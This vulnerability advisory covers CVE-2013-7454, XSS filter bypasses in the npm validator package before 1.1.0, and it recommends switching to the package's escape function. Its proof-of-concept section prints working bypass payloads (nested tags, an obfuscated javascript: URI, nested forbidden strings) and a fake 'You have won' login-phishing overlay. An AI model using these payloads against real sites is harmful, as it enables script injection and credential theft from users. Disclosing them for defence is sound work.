Multiple XSS Filter Bypasses in validator
Versions of validator prior to 1.1.0 are affected by several cross-site scripting vulnerabilities due to bypasses discovered in the blacklist-based filter.
Proof of Concept
Various inputs that could bypass the filter were discovered:
Improper parsing of nested tags:
<s <onmouseover="alert(1)"> <;s onmouseover="alert(1)">This is a test</s>Incomplete filtering of javascript: URIs:
<a href="javascriptJ a V a S c R iPt::alert(1)" "<s>">test</a>UI Redressing:
<div style="z-index: 9999999; background-color: green; width: 100%; height: 100%">
<h1>You have won</h1>Please click the link and enter your login details:
<a href="http://example.com/">http://good.com</a>
</div>Bypass via Nested Forbidden Strings:
<scrRedirecRedirect 302t 302ipt type="text/javascript">prompt(1);</scrRedirecRedirect 302t 302ipt>Additional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off of.
Recommendation
If you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | validator | < 1.1.0 | 1.1.0 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2013-7454
- https://github.com/advisories/GHSA-q4qq-fm7q-cwp5
- https://nealpoole.com/blog/2013/07/xss-filter-bypass-in-validator-nodejs-module
- https://www.npmjs.com/advisories/41
- http://blog.kotowicz.net/2012/07/codeigniter-210-xssclean-cross-site.html
- http://www.openwall.com/lists/oss-security/2016/04/20/11
- CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
validator- Disclosed
- 24.10.2017
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-q4qq-fm7q-cwp5 - CC BY 4.0
Vulnerability history: validator
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 10
- First → latest
- 10.2017 11.2025
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 8
Disclosures per year
- 2017: 4
- 2018: 1
- 2019: 0
- 2020: 1
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 2
- 2026: 0
-
Multiple XSS Filter Bypasses in validator this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.